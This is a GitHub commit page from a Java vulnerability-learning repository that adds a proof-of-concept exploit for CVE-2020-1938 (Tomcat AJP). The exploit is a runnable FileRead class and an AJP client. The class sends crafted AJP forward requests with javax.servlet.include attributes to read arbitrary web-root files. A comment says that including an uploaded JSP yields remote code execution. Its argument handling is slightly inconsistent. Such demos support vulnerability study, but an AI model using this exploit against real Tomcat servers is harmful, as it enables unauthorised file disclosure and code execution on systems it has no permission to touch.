Skip to content

Commit

Permalink
feat:增加tomcat-ajp任意文件和jsp渲染漏洞demo-CVE-2020-1938
Browse files Browse the repository at this point in the history
  • Loading branch information
threedr3am committed Feb 20, 2020
1 parent 272d1b4 commit 6336bad
Show file tree
Hide file tree
Showing 7 changed files with 473 additions and 1 deletion.
9 changes: 8 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,4 +32,11 @@ package:com.threedr3am.bug.collections
package:com.threedr3am.bug.security.manager

### rmi
package:com.threedr3am.bug.rmi
package:com.threedr3am.bug.rmi

### tomcat
tomcat相关漏洞

#### ajp-bug
tomcat ajp协议相关漏洞
1. com.threedr3am.bug.tomcat.ajp 任意文件读取和jsp渲染RCE CVE-2020-1938
1 change: 1 addition & 0 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
<module>xxe</module>
<module>dubbo</module>
<module>rmi</module>
<module>tomcat</module>
</modules>

<name>learn-java-bug</name>
Expand Down
15 changes: 15 additions & 0 deletions tomcat/ajp-bug/pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>tomcat</artifactId>
<groupId>com.xyh</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>

<artifactId>ajp-bug</artifactId>


</project>
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
package com.threedr3am.bug.tomcat.ajp;

import com.threedr3am.bug.tomcat.ajp.support.SimpleAjpClient;
import com.threedr3am.bug.tomcat.ajp.support.TesterAjpMessage;
import java.io.IOException;

/**
* CVE-2020-1938
*
*
* 该文件包含漏洞影响以下版本:
*
* 7.*分支7.0.100之前版本,建议更新到7.0.100版本;
*
* 8.*分支8.5.51之前版本,建议更新到8.5.51版本;
*
* 9.*分支9.0.31之前版本,建议更新到9.0.31版本
*
*
*
*
* arg[0]:tomcat的ip
* arg[1]:tomcat的port
* arg[2]:file或jsp,file:读取web资源根目录的文件),jsp:渲染web资源根目录的jsp文件)
* arg[3]:/index.jsp(资源路径,根号表示web资源根目录)
*
* @author threedr3am
*/
public class FileRead {

public static void main(String[] args) throws IOException {
// open connection
SimpleAjpClient ac = new SimpleAjpClient();
String host = "localhost";
int port = 8009;
String uri = "/xxxxxxxxxxxxxxxest.xxx";
//todo jsp文件渲染,若可以上传jsp文件,即可RCE
// String uri = "/xxxxxxxxxxxxxxxest.jsp";
String file = "/index.jsp";
if (args.length == 4) {
host = args[0];
port = Integer.parseInt(args[1]);
uri = args[2].equalsIgnoreCase("file") ? uri : "/xxxxxxxxxxxxxxxest.jsp";
file = args[3];
}
ac.connect(host, port);

// create a message that indicates the beginning of the request
TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");
forwardMessage.addAttribute("javax.servlet.include.path_info", args.length == 3 ? args[2] : "/index.jsp");
forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");

forwardMessage.end();

ac.sendMessage(forwardMessage);
while (true) {
byte[] responseBody = ac.readMessage();
if (responseBody == null || responseBody.length == 0)
break;
System.out.print(new String(responseBody));
}
ac.disconnect();
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,193 @@
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.threedr3am.bug.tomcat.ajp.support;

import java.io.IOException;
import java.io.InputStream;
import java.net.Socket;
import java.util.Arrays;
import javax.net.SocketFactory;
import org.apache.coyote.ajp.Constants;

/**
* AJP client that is not (yet) a full AJP client implementation as it just
* provides the functionality required for the unit tests. The client uses
* blocking IO throughout.
*/
public class SimpleAjpClient {

private static final int AJP_PACKET_SIZE = 8192;
private static final byte[] AJP_CPING;

static {
TesterAjpMessage ajpCping = new TesterAjpMessage(16);
ajpCping.reset();
ajpCping.appendByte(Constants.JK_AJP13_CPING_REQUEST);
ajpCping.end();
AJP_CPING = new byte[ajpCping.getLen()];
System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0,
ajpCping.getLen());
}

private String host = "localhost";
private int port = -1;
private Socket socket = null;

public int getPort() {
return port;
}

public void connect(String host, int port) throws IOException {
this.host = host;
this.port = port;
socket = SocketFactory.getDefault().createSocket(host, port);
}

public void disconnect() throws IOException {
socket.close();
socket = null;
}

/**
* Create a message to request the given URL.
*/
public TesterAjpMessage createForwardMessage(String url) {
return createForwardMessage(url, 2);
}

public TesterAjpMessage createForwardMessage(String url, int method) {

TesterAjpMessage message = new TesterAjpMessage(AJP_PACKET_SIZE);
message.reset();

// Set the header bytes
message.getBuffer()[0] = 0x12;
message.getBuffer()[1] = 0x34;

// Code 2 for forward request
message.appendByte(Constants.JK_AJP13_FORWARD_REQUEST);

// HTTP method, GET = 2
message.appendByte(method);

// Protocol
message.appendString("http");

// Request URI
message.appendString(url);

// Remote address
message.appendString("10.0.0.1");

// Remote host
message.appendString("client.dev.local");

// Server name
message.appendString(host);

// Port
message.appendInt(port);

// Is ssl
message.appendByte(0x00);

return message;
}


public TesterAjpMessage createBodyMessage(byte[] data) {

TesterAjpMessage message = new TesterAjpMessage(AJP_PACKET_SIZE);
message.reset();

// Set the header bytes
message.getBuffer()[0] = 0x12;
message.getBuffer()[1] = 0x34;

message.appendBytes(data, 0, data.length);
message.end();

return message;
}


/**
* Sends an TesterAjpMessage to the server and returns the response message.
*/
public void sendMessage(TesterAjpMessage headers)
throws IOException {
sendMessage(headers, null);
}

public void sendMessage(TesterAjpMessage headers,
TesterAjpMessage body) throws IOException {
// Send the headers
socket.getOutputStream().write(
headers.getBuffer(), 0, headers.getLen());
if (body != null) {
// Send the body of present
socket.getOutputStream().write(
body.getBuffer(), 0, body.getLen());
}
}
/**
* Reads a message from the server.
*/
public byte[] readMessage() throws IOException {

InputStream is = socket.getInputStream();

TesterAjpMessage message = new TesterAjpMessage(AJP_PACKET_SIZE);

byte[] buf = message.getBuffer();
int headerLength = message.getHeaderLength();

read(is, buf, 0, headerLength);

int messageLength = message.processHeader(false);
if (messageLength < 0) {
throw new IOException("Invalid AJP message length");
} else if (messageLength == 0) {
return null;
} else {
if (messageLength > buf.length) {
throw new IllegalArgumentException("Message too long [" +
Integer.valueOf(messageLength) +
"] for buffer length [" +
Integer.valueOf(buf.length) + "]");
}
read(is, buf, headerLength, messageLength);
return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength);
}
}

protected boolean read(InputStream is, byte[] buf, int pos, int n)
throws IOException {

int read = 0;
int res = 0;
while (read < n) {
res = is.read(buf, read + pos, n - read);
if (res > 0) {
read += res;
} else {
throw new IOException("Read failed");
}
}
return true;
}
}

0 comments on commit 6336bad

Please sign in to comment.